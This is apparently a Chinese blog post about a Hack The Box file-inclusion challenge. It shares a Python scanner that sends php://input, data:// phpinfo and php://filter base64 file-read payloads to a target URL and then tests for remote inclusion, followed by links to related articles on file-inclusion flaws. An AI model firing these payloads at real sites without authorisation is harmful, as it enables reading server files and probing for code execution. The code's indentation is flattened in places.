0x00前言:

做Hack the box的题。感觉那个平台得开个VIp

不然得凉。一天只能重置一次。。。mmp

做的那题毒药是文件包含漏洞的题,涉及到了某个工具

看的不错就开发了一个。

0x01代码:

import requests
import threading
import os
import time
import sys cookies={}
urls=input('Please enter the target:')
user=input('Enter the file you want to read:')
user2=input('Enter your cookie:')
for lie in user2.split(';'):
key,value=lie.split('=',1)
cookies[key]=value
payload='php://input'
payload2='data:text/plain,<?php phpinfo();?>%00'
payload2s='data:text/plain,<?php phpinfo();?>'
payload3='php://filter/read=convert.base64-encode/resource={}'.format(user)
error=['','Not Found','Warning','不存在','找不到','防火墙','安全狗','云锁'] def exploitone(user):
headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
url=user
pocone=url+payload
poctwo=url+payload2
pocsan=url+payload3
pocsi=url+payload2s
request=requests.get(url=pocone,headers=headers,cookies=cookies)
request2=requests.get(url=poctwo,headers=headers,cookies=cookies)
request3=requests.get(url=pocsan,headers=headers,cookies=cookies)
request4=requests.get(url=pocsi,headers=headers,cookies=cookies)
ok=[]
for e in error:
if request.status_code==200:
if e in str(request.text):
print('[-]Php://input protocol does not support')
else:
ok.append('[+]Support php://input protocol Poc:{}'.format(request.url)) if request2.status_code==200:
if e in str(request2.text):
print('[-]Data:// protocol that does not support%00 truncation')
else:
ok.append('[+]Data:// protocol that supports%00 truncation Poc2:{}'.format(request2.url)) if request3.status_code==200:
if e in str(request3.text):
print('[-]Do not support the use of php://filter/read=convert.base64-encode/resource=')
else:
ok.append('[+]Support php://filter/read=convert.base64-encode/resource= Poc3:{}'.format(request3.url)) if request4.status_code==200:
if e in str(request4.text):
print('[-]Data:// protocol does not support')
else:
ok.append('[+]Support with data:// protocol Poc4:{}'.format(request4.url)) if len(ok)>0:
v=list(set(ok))
for vv in v:
print(vv) exploitone(urls.rstrip()) def exploittwo():
poc='http://www.baidu.com'
url=urls.rstrip()+poc
headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
request2=requests.get(url=url,headers=headers,cookies=cookies)
yuan=[]
for e in error:
if request2.status_code==200:
if e in str(request2.text):
print('[-]Remote inclusion failure')
else:
yuan.append('[+]Allow remote inclusion poc:{}'.format(request2.url))
if len(yuan)>0:
s=list(set(yuan))
for b in s:
print(b)
exploittwo()

测试:

思路:

先检测各种协议,然后测试远程包含漏洞

原本还有一个检测路径的,但是跑起来太慢。

python打造文件包含漏洞检测工具的更多相关文章

  1. 文件包含漏洞检测工具fimap

    文件包含漏洞检测工具fimap   在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务 ...

  2. URL重定向漏洞,python打造URL重定向漏洞检测脚本

    前言: 今天学习了重定向漏洞,这个漏洞比较好理解 漏洞名:URL重定向漏洞 威胁:低 漏洞的来源:开发者对head头做好对应的过滤和限制 例子: 有漏洞的网站:http://a.com/x.php?u ...

  3. PHP代码审计笔记--文件包含漏洞

    有限制的本地文件包含: <?php include($_GET['file'].".php"); ?> %00截断: ?file=C://Windows//win.in ...

  4. Metasploit是一款开源的安全漏洞检测工具,

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...

  5. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  6. PHP文件包含漏洞小结

    参考链接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 四大漏洞函数 PHP文件包含漏洞主要由于四个函数引起的: include() include_ ...

  7. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  8. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  9. 基于Python3的漏洞检测工具 ( Python3 插件式框架 )

    目录 Python3 漏洞检测工具 -- lance screenshot requirements 关键代码 usage documents Any advice or sugggestions P ...

随机推荐

  1. 《F4+2》——团队项目的原型设计与开发

      目 录 1 · 团队信息 2 · NABCD模型 3.  原型设计的工具 4 · 原型设计 5 · PSP表格 6 · 团队设计过程 7 · 原型设计心得   一 · 团 队 信 息 成 员 列 ...

  2. 一次由webview报错引起的追根溯源

    最近客户端那边需要搞了个h5嵌入app,想想是移动端的webview,前端这边也比较忙.就没想太多,直接用了async/await处理api数据,于是就不怪测试就来搞事情了... 一.error: 1 ...

  3. 这些HTML、CSS知识点,面试和平时开发都需要 No10-No11(知识点:表格操作、代码编写规则)

    系列知识点汇总 1.基础篇 这些HTML.CSS知识点,面试和平时开发都需要 No1-No4(知识点:HTML.CSS.盒子模型.内容布局) 这些HTML.CSS知识点,面试和平时开发都需要 No5- ...

  4. 用pycharm提交代码,冲突之后文件丢失找回方法

    1: 更新代码时, 监测到本地代码改变,需要和合并,重启之后才可以, 选择No同时,代码会被冲掉,新增加的文件也会被冲掉, 但是pycharm有一个文件历史记忆,找到之后可以找到丢失的文件. 1: 选 ...

  5. 快速理解 FastCGI、PHP-CGI、PHP-FPM

    你(PHP)去和泰国人(web服务器,如 Apache.Nginx)谈生意 你说中文(PHP代码),他说泰语(C代码),互相听不懂,怎么办?那就都把各自说的话转换成英语(FastCGI 协议)吧. 怎 ...

  6. JavaScript学习总结(二十三)——JavaScript 内存泄漏教程

    参考教程:http://www.ruanyifeng.com/blog/2017/04/memory-leak.html 一.什么是内存泄漏? 程序的运行需要内存.只要程序提出要求,操作系统或者运行时 ...

  7. jsr303 参考表

    下面是主要的验证注解及说明: 注解 适用的数据类型 说明 @AssertFalse Boolean, boolean 验证注解的元素值是false @AssertTrue Boolean, boole ...

  8. 《Agile Web Development With Rails》读后感--rails基于web设计的best Practices

    最近看完<Agile Web Development with Rails>一书,受益匪浅.书中先是用一个简单的web应用带你进入Rails的世界,然后在你大致熟悉之后,再带你了解Rail ...

  9. (转)高并发Web服务的演变——节约系统内存和CPU

    一.越来越多的并发连接数 现在的Web系统面对的并发连接数在近几年呈现指数增长,高并发成为了一种常态,给Web系统带来不小的挑战.以最简单粗暴的方式解决,就是增加Web系统的机器和升级硬件配置.虽然现 ...

  10. Windows下MySQL多实例运行

    1.正常安装Windows版的MySQL,例如安装在C:\Program Files\MySQL文件夹里: 2.按照常规配置好MySQL: (注:5.6版本的 data文件夹与 my.ini文件在C: ...